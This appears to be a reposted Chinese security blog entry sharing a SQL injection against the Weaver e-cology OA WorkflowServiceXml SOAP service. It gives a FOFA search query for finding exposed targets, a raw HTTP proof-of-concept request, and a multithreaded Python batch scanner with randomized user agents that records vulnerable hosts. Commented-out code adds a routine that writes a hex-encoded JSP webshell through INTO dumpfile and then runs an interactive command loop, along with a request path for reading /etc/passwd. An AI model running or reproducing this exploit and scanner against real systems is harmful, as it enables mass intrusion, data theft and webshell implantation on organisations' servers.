fofa查询语句:
app="泛微-OA(e-cology)"
利用脚本进行检测:
手工复现:
POC及批量检测脚本
POST /services/WorkflowServiceXml HTTP/1.1 Host: ip User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.1913.45 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: text/xml Content-Length: 489 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver"> <soapenv:Header/> <soapenv:Body> <web:getHendledWorkflowRequestList> <web:in0>1</web:in0> <web:in1>1</web:in1> <web:in2>1</web:in2> <web:in3>1</web:in3> <web:in4> <web:string>1=1 AND 5615=5615</web:string> </web:in4> </web:getHendledWorkflowRequestList> </soapenv:Body> </soapenv:Envelope>
批量脚本
import requests import re import sys import urllib3 from argparse import ArgumentParser import threadpool from urllib import parse from time import time import random import os # from datetime import datetime # current_year = datetime.now().year # current_month = datetime.now().strftime('%m') # year_month = f'{current_year}'+f'{current_month}' urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) url_list = [] file_name = '泛微OA-E-Cology WorkflowServiceXml SQL注入' # fofa:app="泛微-OA(e-cology)" def get_ua(): first_num = random.randint(55, 62) third_num = random.randint(0, 3200) fourth_num = random.randint(0, 140) os_type = [ '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(Macintosh; Intel Mac OS X 10_12_6)' ] chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num) ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', '(KHTML, like Gecko)', chrome_version, 'Safari/537.36'] ) return ua proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} def wirte_targets(vurl, file_name): with open(file_name, "a+") as f: f.write(vurl + "\n") def check_file(filename): print('-------------------------------------------') file_path = f'{file_name}_vuln.txt' if os.path.isfile(file_path): print('存在漏洞的url如下~~~') with open(file_path, 'r') as file: lines = file.readlines() for line in lines: print(f'\033[32m{line.strip()}\033[0m') math_url = str(len(lines)) print('存在漏洞url:{}个'.format(math_url)) else: print('未发现漏洞!!!!') print('-------------------------------------------') def check_vuln(url): url = parse.urlparse(url) url1 = url.scheme + '://' + url.netloc # path = '''?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^ abc.}===={.?n.}''' # path1 = '''?n=%0A&cmd=cat /etc/passwd+/all&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^ abc.}===={.?n.}''' vuln_url = f'{url[0]}://{url[1]}/services/WorkflowServiceXml' # vuln_url1 = f'{url[0]}://{url[1]}/only_test.jsp' headers = { 'User-Agent': get_ua(), 'Content-Type': 'text/xml', # 'Connection': 'close', # 'Cache-Control': 'max-age=0', 'Accept-Encoding': 'gzip', # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', # 'Accept-Language': 'zh-CN,zh;q=0.9', } # headers1 = { # 'User-Agent': get_ua(), # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', # 'Accept-Encoding': 'gzip, deflate', # 'Connection': 'keep-alive', # } # headers2 = { # 'User-Agent': get_ua(), # 'Content-Type': 'text/xml;charset=UTF-8', # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', # 'Accept-Encoding': 'gzip, deflate, br', # 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', # 'Upgrade-Insecure-Requests': '1', # 'Priority': 'u=1', # 'SOAPAction': 'http://tempuri.org/GetConnectionString', # 'Connection': 'close', # } data = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver"> <soapenv:Header/> <soapenv:Body> <web:getHendledWorkflowRequestList> <web:in0>1</web:in0> <web:in1>1</web:in1> <web:in2>1</web:in2> <web:in3>1</web:in3> <web:in4> <web:string>1=1 AND 5615=5615</web:string> </web:in4> </web:getHendledWorkflowRequestList> </soapenv:Body> </soapenv:Envelope>''' try : res = requests.post(url=vuln_url, headers=headers, data=data, allow_redirects=False, timeout=15, verify=False,proxies=proxies) # res1 = requests.get(url=vuln_url1, headers=headers1, allow_redirects=False, timeout=15, verify=False,proxies=proxies) # # res_time = res.elapsed.total_seconds() # cookie = res.cookies['zentaosid'] # headers1 = { # 'User-Agent': get_ua(), # 'Accept-Encoding': 'gzip, deflate br', # 'Connection': 'close', # 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', # 'Cookie': f'zentaosid={cookie}', # } # res1 = requests.post(url=vuln_url1, headers=headers1, data=data, allow_redirects=False, timeout=15, verify=False) # x_state_value = res.headers.get('X-State') # print(x_state_value) if res.status_code == 200 and 'requestName' in res.text:# res_time >= 5 # url_path = re.findall(r'url\":\"(.*?)"', res.text, re.DOTALL)[0] # if res1.status_code == 200 and 'only_test' in res.text: # cleaned_url_path = url_path.replace("\\", "") # vuln_url1 = f'{url[0]}://{url[1]}{cleaned_url_path}' # print(vuln_url1) # res1 = requests.get(url=vuln_url1, headers=headers1, allow_redirects=False, timeout=15, verify=False) # if res1.status_code == 200 and 'nologin' in res1.text: print('\033[32m[+]{}\033[0m'.format(vuln_url)) # 延迟:{}秒 ,, wirte_targets(vuln_url, f"{file_name}_vuln.txt") # # elif res1.status_code == 200 and 'nologin' in res1.text: # print('\033[32m[+]{} Linux\033[0m'.format(vuln_url1)) # 延迟:{}秒 ,, # wirte_targets(vuln_url1 + ' Linux', f"{file_name}_vuln.txt") # # pwd = re.findall(r'password: \'(.*?)\'', res.text, re.DOTALL)[0] # data1 = f'''<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/"> # <soap:Header/> # <soap:Body> # <tem:GetToken> # <!--type: string--> # <tem:endId>{code}</tem:endId> # </tem:GetToken> # </soap:Body> # </soap:Envelope>''' # res1 = requests.post(url=vuln_url, headers=headers1, data=data1, allow_redirects=False, timeout=15, verify=False) # user_id = re.findall(r'User Id=(.*?);', res2.text, re.DOTALL)[0] # password = re.findall(r'Password=(.*?);', res2.text, re.DOTALL)[0] # return 1 # else: # print("\033[33m[-]{} not vulnerable. {}\033[0m".format(url1, res1.status_code)) else: print("\033[34m[-]{} not vulnerable. {}\033[0m".format(url1, res.status_code)) except Exception as e: print("\033[31m[!]{} is timeout\033[0m".format(url1)) # # def cmdshell(url): # # 先执行poc # if check_vuln(url) == 1: # url = parse.urlparse(url) # url1 = url.scheme + '://' + url.netloc # # 死循环模拟交互式shell # while 1: # cmd = input("\033[35mshell: \033[0m") # vuln_url = f'{url[0]}://{url[1]}/point_manage/merge' # vuln_url1 = f'{url[0]}://{url[1]}/only_test.jsp?cmd={cmd}' # # 如果输入exit就退出shell # if cmd == "exit": # sys.exit(0) # else: # try: # # zuo = '{' # # you = '}' # headers = { # 'User-Agent': get_ua(), # 'Content-Type': 'application/x-www-form-urlencoded', # 'Accept': '*/*', # 'Accept-Encoding': 'gzip, deflate', # # 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', # 'Connection': 'close', # } # headers1 = { # 'User-Agent': get_ua(), # # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', # # 'Connection': 'close', # # 'Content-Type': 'application/x-www-form-urlencoded', # } # # # zuo = '{' # # you = '}' # data = f'''id=1&name=1' UNION SELECT%0aNULL, 0x3c25206a6176612e696f2e496e70757453747265616d20696e203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e742061203d202d313b627974655b5d2062203d206e657720627974655b323034385d3b6f75742e7072696e7428223c7072653e22293b7768696c652828613d696e2e7265616428622929213d2d31297b6f75742e7072696e746c6e286e657720537472696e6728622c302c6129293b7d6f75742e7072696e7428223c2f7072653e22293b6e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b253e,NULL,NULL,NULL,NULL,NULL,NULL # INTO dumpfile '../../tomcat/webapps/gpsweb/only_test.jsp' FROM user_session a # WHERE '1 '='1 &type=3&map_id=4&install_place=5&check_item=6&create_time=7&update_time=8''' # # <?php echo shell_exec("dir"); ?> # # res = requests.post(url=vuln_url, headers=headers, data=data, allow_redirects=False, timeout=15, verify=False) # res1 = requests.get(url=vuln_url1, headers=headers1, allow_redirects=False, timeout=15, # verify=False) # # # poc部分给的有解释 # if res.status_code == 200 and 'OK' in res.text: # if res1.status_code == 200: # rsp_command = re.findall(r'pre>(.*?)\n</', res1.text, re.DOTALL)[0] # if len(rsp_command) != 0: # print("\033[32m{}\033[0m".format(rsp_command)) # else: # print("\033[31m[-]{} request flase! {}\033[0m".format(url1, res.text)) # else: # print("\033[31m[-]{} request flase! {}\033[0m".format(url1, res.text)) # except Exception as e: # print("\033[31m[-]{} is timeout!\033[0m".format(url1)) def multithreading(url_list, pools=5): works = [] for i in url_list: works.append(i) pool = threadpool.ThreadPool(pools) reqs = threadpool.makeRequests(check_vuln, works) [pool.putRequest(req) for req in reqs] pool.wait() if __name__ == '__main__': print(f"\n{file_name}\n ——————by hyuya~\n" f" ——————知识星球:大自然的nday搬运库(石占)") arg = ArgumentParser(description=f'{file_name}') arg.add_argument("-u", "--url", help="Target URL; Example:http://ip:port") arg.add_argument("-f", "--file", help="Target URL; Example:url.txt") # arg.add_argument("-c", # "--cmd", # help="command; Example:python3 xxx.py -c http://ip:port") args = arg.parse_args() url = args.url filename = args.file start = time() # cmd = args.cmd print('[*]任务开始...') # print('[*]webshell使用冰蝎3连接,密码:rebeyond') if url != None and filename == None: # and cmd==None check_vuln(url) check_file(f'{file_name}_vuln.txt') elif url == None and filename != None: # and cmd==None for i in open(filename): i = i.replace('\n', '') url_list.append(i) multithreading(url_list, 10) end = time() print('任务完成,用时%d' % (end - start)) check_file(f'{file_name}_vuln.txt') # elif url == None and cmd != None and filename == None: # cmdshell(cmd)
原文始发于微信公众号(Undoubted Security):【漏洞分享】泛微SQL注入 泛微OA-E-Cology WorkflowServiceXml SQL注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论